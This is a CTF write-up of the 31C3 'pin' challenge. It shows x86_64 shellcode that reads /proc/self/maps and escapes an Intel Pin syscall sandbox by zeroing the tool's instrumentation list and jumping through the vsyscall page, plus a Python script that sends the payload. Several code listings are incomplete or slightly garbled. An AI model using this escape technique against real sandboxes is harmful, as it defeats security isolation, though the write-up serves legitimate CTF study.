31C3 CTF - pin Writeup

30 December 2014 by nwert

Test your x86_64 shellcode here but dont escape the sandbox please...

We were provided with an ip:port combo and a file pin_588a1b80dfc92071363b868e70d187d9.tar.gz containing two source files: service.c and pintool.cpp. The service pretty much takes raw shellcode and runs it, after calling alarm(30), which enables sandboxed mode. The sandboxing is done using Pin and affects syscalls only:

#include "pin.H"
#include <stdlib.h>
#include <sys/mman.h>

char is_protected[4096] __attribute__ ((aligned (4096))) = {};

VOID check_syscall(ADDRINT rax) {
    switch(rax) {
    case 0: // sys_read
    case 1: // sys_write
    case 2: // sys_open
    case 3: // sys_close
    case 60: // sys_exit
        //always allowed

    case 37: // sys_alarm
        //enables protected mode
        if(!*is_protected) {
            *is_protected = 1;
            if(mprotect(is_protected, 4096, PROT_READ))

        //syscalls which are forbidden in protected mode

VOID insert_hooks(INS ins, VOID *val) {
        INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)check_syscall, IARG_REG_VALUE, REG_RAX, IARG_END);

int main(int argc, char *argv[]) {
        return 1;

    INS_AddInstrumentFunction(insert_hooks, NULL);

    return 0;

First we notice, that we can't just overwrite is_protected, as that page gets remapped readonly. Time to dust off our assembler skills and play around a bit. I came up with this


lea rdi, [fname]
mov r8, 0x10000
call streamfile

; exit(0)
mov rax, 60
mov rdi, 0

; open
mov rax, 2
mov rsi, 0
mov rbx, rax ; rbx = fd
    ; read
    mov rax, 0
    mov rdi, rbx
    lea rsi, [buf]
    mov rdx, 0x400
    ; write
    mov rax, 1
    mov rdi, 1
    lea rsi, [buf]
    mov rdx, 0x400
    sub r8, 0x400
    jnz sloop

fname db "/self/proc/maps", 0
buf db "lulzboat", 0

to stream out /proc/self/maps. In there we note some interesting file names:

00400000-00401000 r-xp 00000000 fd:01 325            /home/user/service
30400000-30950000 r-xp 00000000 fd:01 162043         /home/user/pin/intel64/bin/pinbin
7f642345a000-7f642370d000 r-xp 00000000 fd:01 281067 /home/user/pin/source/tools/31C3_pin_escape/obj-intel64/31C3_pin_escape.so

Also after running it a second time, I saw, that the addresses were static, thus making everything a little easier for us. Naturally I really wanted to take a look at 31C3_pin_escape.so, so I dumped that file using the same code from above. After having a first look, it turns out, that this is just the compiled pintool.cpp:

pintool main

Let's have a look into INS_AddInstrumentFunction:

pintool INS_AddInstrumentFunction

This insList looks interesting, it's where the instrumentation functions are registered at. In the unrelocated binary its address is 0x4EA200, using /proc/self/maps and doing the math, we find that it would be at 0x7F6423944200. My idea at this point was to zero out that structure, because I was hoping that this way any newly translated syscall instruction would not be instrumented. After dumping and having a look at the data, I came up with this to disable further instrumentation:

mov rbx, 0x7F6423944200
mov qword [rbx], 0
add rbx, 8
mov qword [rbx], 0
add rbx, 8
mov qword [rbx], 0

After trying to call getpid and writing something back, I was disappointed though, as nothing did return. Means that my syscall instruction had already been translated. So I just tried to use one that was a bit further away. Instead of searching for one though, I remembered the old vsyscall trick and hoped it would work just fine:

; try getpid
mov rax, 39
mov r8, 0xFFFFFFFFFF600007
call r8
; write something

And indeed, success! After stealing cooking up a /bin/sh thingy to give us a little more control, grabbing the flag was only a matter of executing ./flag (having noted before, that cat flag would return us what looked like an ELF binary):

import socket

f = open("pin.BIN")
pl = f.read()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("", 1234))

print s.recv(1024)
s.send(pl + "\x90"*8)
print s.recv(1024)
print s.recv(1024)

# 31C3_PrIsoNBr3a|<